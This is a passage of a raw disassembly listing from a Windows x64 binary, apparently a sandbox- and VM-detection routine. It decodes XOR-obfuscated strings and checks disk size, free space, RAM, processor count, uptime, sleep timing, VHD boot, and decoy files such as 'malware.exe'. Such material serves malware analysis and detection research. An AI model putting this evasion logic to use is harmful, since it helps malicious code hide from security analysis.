movabs rax, 0x646f8cbbb4ed390c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x838], rax
movabs rax, 0xd8c15c9d0c5fc614
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
movabs rcx, 0xac025a70f112b6ea
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1220], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1228], rax
movabs rax, 0xb2d57e9789cd9387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1230], rax
movabs rax, 0x64198cd2b49f3948
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1238], rax
movabs rax, 0xd8c15c9d0c6fc671
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1240], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1248], rax
vmovdqu ymm0, ymmword [rbp + 0x820]
vpxor ymm1, ymm0, ymmword [rbp + 0x1220]
vmovdqa ymmword [rbp + 0x820], ymm1
vmovdqa xmm0, xmmword [rbp + 0x840]
vxorps xmm0, xmm0, xmmword [rbp + 0x1240]
vmovdqa xmmword [rbp + 0x840], xmm0
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, [rbp + 0x820]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400329fc
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140032bda
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0xce0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 8
lea rax, [rbp + 0xce8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7405c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140032bda
mov rax, qword [rbp + 0xce8]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp rax, 0x3c
jg 0x140032bda
movabs rax, 0xd3397a5eccc63e59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xae46f0be90e6047c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1060], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1068], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
xorps xmm0, xmmword [rbp + 0x1060]
movdqa xmmword [rbp + 0x1c0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
lea rax, [rbp + 0x1c0]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140032af1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x80]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140032b66
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x90], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x98], rdx
mov byte [rbp + 0x80], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140032b80
lea r8, [rbp + 0x80]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140032bba
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032bb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x80], 0
inc r14d
mov dword [rbp + 8], r14d
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x1af0]
call fcn.1400da970
lea rdx, [rbp + 0x1af0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
dec eax
cmp eax, 0x103
ja 0x140032d32
lea rdi, [rbp + 0x1af0]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x17e0]
call fcn.1400da970
cmp byte [rbp + 0x1af0], 0
je 0x140032d32
nop word [rax + rax]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9d, r13d
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, r13
mov rcx, rax
call fcn.1400a69b0
mov rsi, rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r13d
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
je 0x140032cff
mov r9, rdi
lea r8, str._ssample.exe
mov edx, 0x104
lea rcx, [rbp + 0x17e0]
call fcn.140005fe0
lea rcx, [rbp + 0x17e0]
call fcn.14003cf30
test eax, eax
jne 0x140032e7c
mov r9, rdi
lea r8, str._smalware.exe
mov edx, 0x104
lea rcx, [rbp + 0x17e0]
call fcn.140005fe0
lea rcx, [rbp + 0x17e0]
call fcn.14003cf30
test eax, eax
jne 0x140032e7c
mov rcx, rsi
call fcn.1400a6630
mov rax, r13
nop word [rax + rax]
inc rax
cmp byte [rdi + rax], 0
jne 0x140032d10
inc rdi
add rdi, rax
cmp byte [rdi], 0
jne 0x140032c40
movabs rsi, 0xba4a253bbaaf4c3d
xor r9d, r9d
lea r8, [rbp + 0xcf0]
xor edx, edx
lea rcx, [0x1401016a0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x140033044
mov rax, qword [rbp + 0xcf0]
and rax, 0xffffffffc0000000
movabs rcx, 0xf00000000
cmp rax, rcx
ja 0x140033044
movabs rax, 0xd3397a5eccc63e59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xae46f0be90d4047c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1120], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1128], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
xorps xmm0, xmmword [rbp + 0x1120]
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], r12
lea rax, [rbp + 0x1e0]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140032e00
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x1a0]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140032fd0
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x1a0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x1b0]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x1b0], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x1b8], rdx
mov byte [rbp + 0x1a0], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140032fea
movabs rax, 0xd4154b54d7c2235e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xae46f0bee3830c67
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rsi, 0xba4a253bbaaf4c3d
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1070], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1078], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x1070]
movdqa xmmword [rbp + 0x1d0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
lea rax, [rbp + 0x1d0]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140032f06
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x40]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140032f69
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x40]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x50]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x50], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x58], rdx
mov byte [rbp + 0x40], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140032f7d
lea r8, [rbp + 0x40]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140032fb4
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032faf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x40], 0
inc r14d
mov dword [rbp + 8], r14d
jmp 0x140032d32
lea r8, [rbp + 0x1a0]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x140033024
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003301f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1a0], 0
inc r14d
mov dword [rbp + 8], r14d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1c2
ja 0x1400331dc
movabs rax, 0xdb3a7a4bdfca204e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xae46f0daf58e0272
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1110], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1118], rax
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x1110]
movdqa xmmword [rbp + 0x1f0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r12
lea rax, [rbp + 0x1f0]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1400330f3
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0xc0]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140033168
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0xc0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xd0]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0xd0], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xd8], rdx
mov byte [rbp + 0xc0], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140033182
lea r8, [rbp + 0xc0]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x1400331bc
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400331b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc0], 0
inc r14d
mov dword [rbp + 8], r14d
mov rax, qword gs:[0x60]
cmp dword [rax + 0xb8], 2
jae 0x14003335a
movabs rax, 0xba3f5558e5ca2252
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1100], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1108], rax
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmmword [rbp + 0x1100]
movdqa xmmword [rbp + 0x200], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], r12
lea rax, [rbp + 0x200]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140033271
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x160]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x1400332e6
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x160]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x170]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x170], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x178], rdx
mov byte [rbp + 0x160], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140033300
lea r8, [rbp + 0x160]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14003333a
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033335
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x160], 0
inc r14d
mov dword [rbp + 8], r14d
lea rcx, [rbp + 0xd40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movabs rbx, 0x914116c474b5c6f0
movabs rdi, 0x65783f99f821666f
cmp dword [rbp + 0xd60], 2
jae 0x140033549
movabs rax, 0xe53f5558e5ca2252
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
movabs rax, 0xcb3283c7c3920441
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movabs rax, 0x65783ff69e4f2f02
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1400], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1408], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1410], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1418], rax
vmovdqu ymm0, ymmword [rbp + 0x480]
vpxor ymm1, ymm0, ymmword [rbp + 0x1400]
vmovdqa ymmword [rbp + 0x480], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], r12
lea rax, [rbp + 0x480]
mov r8, r13
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140033460
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x140]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x1400334d5
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x150]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x150], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x158], rdx
mov byte [rbp + 0x140], 0
add qword [rbp + 0xca0], 0x20
jmp 0x1400334ef
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x140033529
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033524
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x140], 0
inc r14d
mov dword [rbp + 8], r14d
mov dword [rbp + 0xd00], 0x40
lea rcx, [rbp + 0xd00]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0xd08]
and rax, 0xfffffffffffffc00
cmp rax, 0x40000000
jae 0x14003372d
movabs rax, 0xdb225164c9dc2951
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
movabs rax, 0xcc21afdbfe893e68
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13e0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x13e8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x13f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x13f8], rax
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x13e0]
vmovdqa ymmword [rbp + 0x520], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], r12
lea rax, [rbp + 0x520]
mov r8, r13
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140033644
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x120]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x1400336b9
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x130], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x138], rdx
mov byte [rbp + 0x120], 0
add qword [rbp + 0xca0], 0x20
jmp 0x1400336d3
lea r8, [rbp + 0x120]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x14003370d
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033708
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x120], 0
inc r14d
mov dword [rbp + 8], r14d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0xafe74
jae 0x1400338a9
movabs rax, 0xba4a4056d3db3c48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10c8], rax
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x10c0]
movdqa xmmword [rbp + 0x210], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
lea rax, [rbp + 0x210]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400337c0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x100]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140033835
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x110], r12
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x118], rdx
mov byte [rbp + 0x100], 0
add qword [rbp + 0xca0], 0x20
jmp 0x14003384f
lea r8, [rbp + 0x100]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x140033889
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033884
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x100], 0
inc r14d
mov dword [rbp + 8], r14d
mov dword [rbp + 0xcb4], r12d
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsNativeVhdBoot
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140033a1b
lea rcx, [rbp + 0xcb4]
call rax
test eax, eax
je 0x140033a1b
cmp dword [rbp + 0xcb4], 0
je 0x140033a1b
movabs rax, 0xdf3c4c4fdbe13f74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xae329fd1d2820950
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10b8], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x10b0]
movdqa xmmword [rbp + 0x220], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r12
lea rax, [rbp + 0x220]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140033980
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x250]
call fcn.140016e10
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x1400339f4
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x250]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x260]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x250], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140033a08
lea r8, [rbp + 0x250]
lea rcx, [rbp + 0xc98]
call fcn.140037ab0
nop
lea rcx, [rbp + 0x250]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003e070
movabs rbx, 0xdd2f5764c2c02e4b
test eax, eax
je 0x140033aca
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0xae46f08fe9830a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1170], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1178], rax
movdqa xmm0, xmmword [rbp + 0x360]
xorps xmm0, xmmword [rbp + 0x1170]
movdqa xmmword [rbp + 0x360], xmm0
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0xb20]
call fcn.140012260
nop
lea rdx, [rbp + 0xb20]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xb20]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003e5e0
test eax, eax
je 0x140033b6f
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0xae46f08ce9830a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10a0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10a8], rax
movdqa xmm0, xmmword [rbp + 0x370]
xorps xmm0, xmmword [rbp + 0x10a0]
movdqa xmmword [rbp + 0x370], xmm0
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0xb00]
call fcn.140012260
nop
lea rdx, [rbp + 0xb00]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xb00]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003e930
test eax, eax
je 0x140033c14
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0xae46f08de9830a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x11a0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11a8], rax
movdqa xmm0, xmmword [rbp + 0x380]
xorps xmm0, xmmword [rbp + 0x11a0]
movdqa xmmword [rbp + 0x380], xmm0
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0xae0]
call fcn.140012260
nop
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xae0]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003ec20
test eax, eax
je 0x140033cb9
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0xae46f08ae9830a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1090], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1098], rax
movdqa xmm0, xmmword [rbp + 0x390]
xorps xmm0, xmmword [rbp + 0x1090]
movdqa xmmword [rbp + 0x390], xmm0
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x940]
call fcn.140012260
nop
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x940]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
movabs rax, 0x7446ad3b5ad737b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rax, 0x5cc17ebe8d833be1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs rdi, 0xb2857ed4898c93db
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
movabs rax, 0x644a8c96b4c33901
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movabs rax, 0xd8975cc10c3bc635
